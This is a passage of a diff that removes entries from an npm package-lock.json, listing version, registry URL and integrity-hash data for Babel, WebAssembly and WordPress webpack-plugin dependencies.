"^7.10.5", - "debug": "^4.1.0", - "globals": "^11.1.0", - "lodash": "^4.17.19" - } - }, - "node_modules/@babel/traverse/node_modules/debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", - "dev": true, - "dependencies": { - "ms": "^2.1.1" - } - }, - "node_modules/@babel/traverse/node_modules/globals": { - "version": "11.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", - "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/traverse/node_modules/ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "node_modules/@babel/types": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.10.5.tgz", - "integrity": "sha512-ixV66KWfCI6GKoA/2H9v6bQdbfXEwwpOdQ8cRvb4F+eyvhlaHxWFMQB4+3d9QFJXZsiiiqVrewNV0DFEQpyT4Q==", - "dev": true, - "dependencies": { - "@babel/helper-validator-identifier": "^7.10.4", - "lodash": "^4.17.19", - "to-fast-properties": "^2.0.0" - } - }, - "node_modules/@babel/types/node_modules/to-fast-properties": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", - "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/@webassemblyjs/ast": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.9.0.tgz", - "integrity": "sha512-C6wW5L+b7ogSDVqymbkkvuW9kruN//YisMED04xzeBBqjHa2FYnmvOlS6Xj68xWQRgWvI9cIglsjFowH/RJyEA==", - "dev": true, - "dependencies": { - "@webassemblyjs/helper-module-context": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/wast-parser": "1.9.0" - } - }, - "node_modules/@webassemblyjs/floating-point-hex-parser": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.9.0.tgz", - "integrity": "sha512-TG5qcFsS8QB4g4MhrxK5TqfdNe7Ey/7YL/xN+36rRjl/BlGE/NcBvJcqsRgCP6Z92mRE+7N50pRIi8SmKUbcQA==", - "dev": true - }, - "node_modules/@webassemblyjs/helper-api-error": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.9.0.tgz", - "integrity": "sha512-NcMLjoFMXpsASZFxJ5h2HZRcEhDkvnNFOAKneP5RbKRzaWJN36NC4jqQHKwStIhGXu5mUWlUUk7ygdtrO8lbmw==", - "dev": true - }, - "node_modules/@webassemblyjs/helper-buffer": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.9.0.tgz", - "integrity": "sha512-qZol43oqhq6yBPx7YM3m9Bv7WMV9Eevj6kMi6InKOuZxhw+q9hOkvq5e/PpKSiLfyetpaBnogSbNCfBwyB00CA==", - "dev": true - }, - "node_modules/@webassemblyjs/helper-code-frame": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.9.0.tgz", - "integrity": "sha512-ERCYdJBkD9Vu4vtjUYe8LZruWuNIToYq/ME22igL+2vj2dQ2OOujIZr3MEFvfEaqKoVqpsFKAGsRdBSBjrIvZA==", - "dev": true, - "dependencies": { - "@webassemblyjs/wast-printer": "1.9.0" - } - }, - "node_modules/@webassemblyjs/helper-fsm": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.9.0.tgz", - "integrity": "sha512-OPRowhGbshCb5PxJ8LocpdX9Kl0uB4XsAjl6jH/dWKlk/mzsANvhwbiULsaiqT5GZGT9qinTICdj6PLuM5gslw==", - "dev": true - }, - "node_modules/@webassemblyjs/helper-module-context": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.9.0.tgz", - "integrity": "sha512-MJCW8iGC08tMk2enck1aPW+BE5Cw8/7ph/VGZxwyvGbJwjktKkDK7vy7gAmMDx88D7mhDTCNKAW5tED+gZ0W8g==", - "dev": true, - "dependencies": { - "@webassemblyjs/ast": "1.9.0" - } - }, - "node_modules/@webassemblyjs/helper-wasm-bytecode": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.9.0.tgz", - "integrity": "sha512-R7FStIzyNcd7xKxCZH5lE0Bqy+hGTwS3LJjuv1ZVxd9O7eHCedSdrId/hMOd20I+v8wDXEn+bjfKDLzTepoaUw==", - "dev": true - }, - "node_modules/@webassemblyjs/helper-wasm-section": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.9.0.tgz", - "integrity": "sha512-XnMB8l3ek4tvrKUUku+IVaXNHz2YsJyOOmz+MMkZvh8h1uSJpSen6vYnw3IoQ7WwEuAhL8Efjms1ZWjqh2agvw==", - "dev": true, - "dependencies": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-buffer": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/wasm-gen": "1.9.0" - } - }, - "node_modules/@webassemblyjs/ieee754": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.9.0.tgz", - "integrity": "sha512-dcX8JuYU/gvymzIHc9DgxTzUUTLexWwt8uCTWP3otys596io0L5aW02Gb1RjYpx2+0Jus1h4ZFqjla7umFniTg==", - "dev": true, - "dependencies": { - "@xtuc/ieee754": "^1.2.0" - } - }, - "node_modules/@webassemblyjs/leb128": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.9.0.tgz", - "integrity": "sha512-ENVzM5VwV1ojs9jam6vPys97B/S65YQtv/aanqnU7D8aSoHFX8GyhGg0CMfyKNIHBuAVjy3tlzd5QMMINa7wpw==", - "dev": true, - "dependencies": { - "@xtuc/long": "4.2.2" - } - }, - "node_modules/@webassemblyjs/utf8": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.9.0.tgz", - "integrity": "sha512-GZbQlWtopBTP0u7cHrEx+73yZKrQoBMpwkGEIqlacljhXCkVM1kMQge/Mf+csMJAjEdSwhOyLAS0AoR3AG5P8w==", - "dev": true - }, - "node_modules/@webassemblyjs/wasm-edit": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.9.0.tgz", - "integrity": "sha512-FgHzBm80uwz5M8WKnMTn6j/sVbqilPdQXTWraSjBwFXSYGirpkSWE2R9Qvz9tNiTKQvoKILpCuTjBKzOIm0nxw==", - "dev": true, - "dependencies": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-buffer": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/helper-wasm-section": "1.9.0", - "@webassemblyjs/wasm-gen": "1.9.0", - "@webassemblyjs/wasm-opt": "1.9.0", - "@webassemblyjs/wasm-parser": "1.9.0", - "@webassemblyjs/wast-printer": "1.9.0" - } - }, - "node_modules/@webassemblyjs/wasm-gen": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.9.0.tgz", - "integrity": "sha512-cPE3o44YzOOHvlsb4+E9qSqjc9Qf9Na1OO/BHFy4OI91XDE14MjFN4lTMezzaIWdPqHnsTodGGNP+iRSYfGkjA==", - "dev": true, - "dependencies": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/ieee754": "1.9.0", - "@webassemblyjs/leb128": "1.9.0", - "@webassemblyjs/utf8": "1.9.0" - } - }, - "node_modules/@webassemblyjs/wasm-opt": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.9.0.tgz", - "integrity": "sha512-Qkjgm6Anhm+OMbIL0iokO7meajkzQD71ioelnfPEj6r4eOFuqm4YC3VBPqXjFyyNwowzbMD+hizmprP/Fwkl2A==", - "dev": true, - "dependencies": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-buffer": "1.9.0", - "@webassemblyjs/wasm-gen": "1.9.0", - "@webassemblyjs/wasm-parser": "1.9.0" - } - }, - "node_modules/@webassemblyjs/wasm-parser": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.9.0.tgz", - "integrity": "sha512-9+wkMowR2AmdSWQzsPEjFU7njh8HTO5MqO8vjwEHuM+AMHioNqSBONRdr0NQQ3dVQrzp0s8lTcYqzUdb7YgELA==", - "dev": true, - "dependencies": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-api-error": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/ieee754": "1.9.0", - "@webassemblyjs/leb128": "1.9.0", - "@webassemblyjs/utf8": "1.9.0" - } - }, - "node_modules/@webassemblyjs/wast-parser": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.9.0.tgz", - "integrity": "sha512-qsqSAP3QQ3LyZjNC/0jBJ/ToSxfYJ8kYyuiGvtn/8MK89VrNEfwj7BPQzJVHi0jGTRK2dGdJ5PRqhtjzoww+bw==", - "dev": true, - "dependencies": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/floating-point-hex-parser": "1.9.0", - "@webassemblyjs/helper-api-error": "1.9.0", - "@webassemblyjs/helper-code-frame": "1.9.0", - "@webassemblyjs/helper-fsm": "1.9.0", - "@xtuc/long": "4.2.2" - } - }, - "node_modules/@webassemblyjs/wast-printer": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.9.0.tgz", - "integrity": "sha512-2J0nE95rHXHyQ24cWjMKJ1tqB/ds8z/cyeOZxJhcb+rW+SQASVjuznUSmdz5GpVJTzU8JkhYut0D3siFDD6wsA==", - "dev": true, - "dependencies": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/wast-parser": "1.9.0", - "@xtuc/long": "4.2.2" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/@wordpress/dependency-extraction-webpack-plugin/-/dependency-extraction-webpack-plugin-2.8.0.tgz", - "integrity": "sha512-fEOsSl1kYY8gkiAe7OM9IopmSOtaAug37OQwKVeda5fK6xLsnpqprP5iwHHOApNWMEzgmVGS6/iW5IZoi7qv/A==", - "dev": true, - "dependencies": { - "json2php": "^0.0.4", - "webpack": "^4.8.3", - "webpack-sources": "^1.3.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/acorn": { - "version": "6.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz", - "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/ajv": { - "version": "6.12.3", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.3.tgz", - "integrity": "sha512-4K0cK3L1hsqk9xIb2z9vs/XU+PGJZ9PNpJRDS9YLzmNdX6jmVPfamLvTJr0aDAusnHyCHO6MjzlkAsgtqp9teA==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/ajv-keywords": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.1.tgz", - "integrity": "sha512-KWcq3xN8fDjSB+IMoh2VaXVhRI0BBGxoYp3rx7Pkb6z0cFjYR9Q9l4yZqqals0/zsioCmocC5H6UvsGD4MoIBA==", - "dev": true, - "peerDependencies": { - "ajv": "^6.9.1" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/anymatch": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz", - "integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==", - "dev": true, - "optional": true, - "dependencies": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/big.js": { - "version": "5.2.2", - "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", - "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/binary-extensions": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.1.0.tgz", - "integrity": "sha512-1Yj8h9Q+QDF5FzhMs/c9+6UntbD5MkRfRwac8DoEm9ZfUBZ7tZ55YcGVAzEe4bXsdQHEk+s9S5wsOKVdZrw0tQ==", - "dev": true, - "optional": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", - "dev": true, - "dependencies": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/braces/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.4.1.tgz", - "integrity": "sha512-TQTJyr2stihpC4Sya9hs2Xh+O2wf+igjL36Y75xx2WdHuiICcn/XJza46Jwt0eT5hVpQOzo3FpY3cj3RVYLX0g==", - "dev": true, - "optional": true, - "dependencies": { - "anymatch": "~3.1.1", - "braces": "~3.0.2", - "glob-parent": "~5.1.0", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.4.0" - }, - "engines": { - "node": ">= 8.10.0" - }, - "optionalDependencies": { - "fsevents": "~2.1.2" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar/node_modules/braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "optional": true, - "dependencies": { - "fill-range": "^7.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar/node_modules/fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "optional": true, - "dependencies": { - "to-regex-range": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar/node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/chokidar/node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "optional": true, - "dependencies": { - "is-number": "^7.0.0" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/emojis-list": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", - "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", - "dev": true, - "engines": { - "node": ">= 4" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/eslint-scope": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", - "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", - "dev": true, - "dependencies": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/events": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/events/-/events-3.1.0.tgz", - "integrity": "sha512-Rv+u8MLHNOdMjTAFeT3nCjHn2aGlx435FP/sDHNaRhDEMwyI/aB22Kj2qIN8R0cw3z28psEQLYwxVKLsKrMgWg==", - "dev": true, - "engines": { - "node": ">=0.8.x" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "dependencies": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "dependencies": { - "is-descriptor": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "dependencies": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/expand-brackets/node_modules/kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "dependencies": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/extglob/node_modules/define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "dependencies": { - "is-descriptor": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/extglob/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", - "dev": true, - "dependencies": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/fill-range/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/fsevents": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.1.3.tgz", - "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==", - "deprecated": "\"Please update to latest v2.3 or v2.2\"", - "dev": true, - "hasInstallScript": true, - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/glob-parent": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz", - "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==", - "dev": true, - "optional": true, - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": 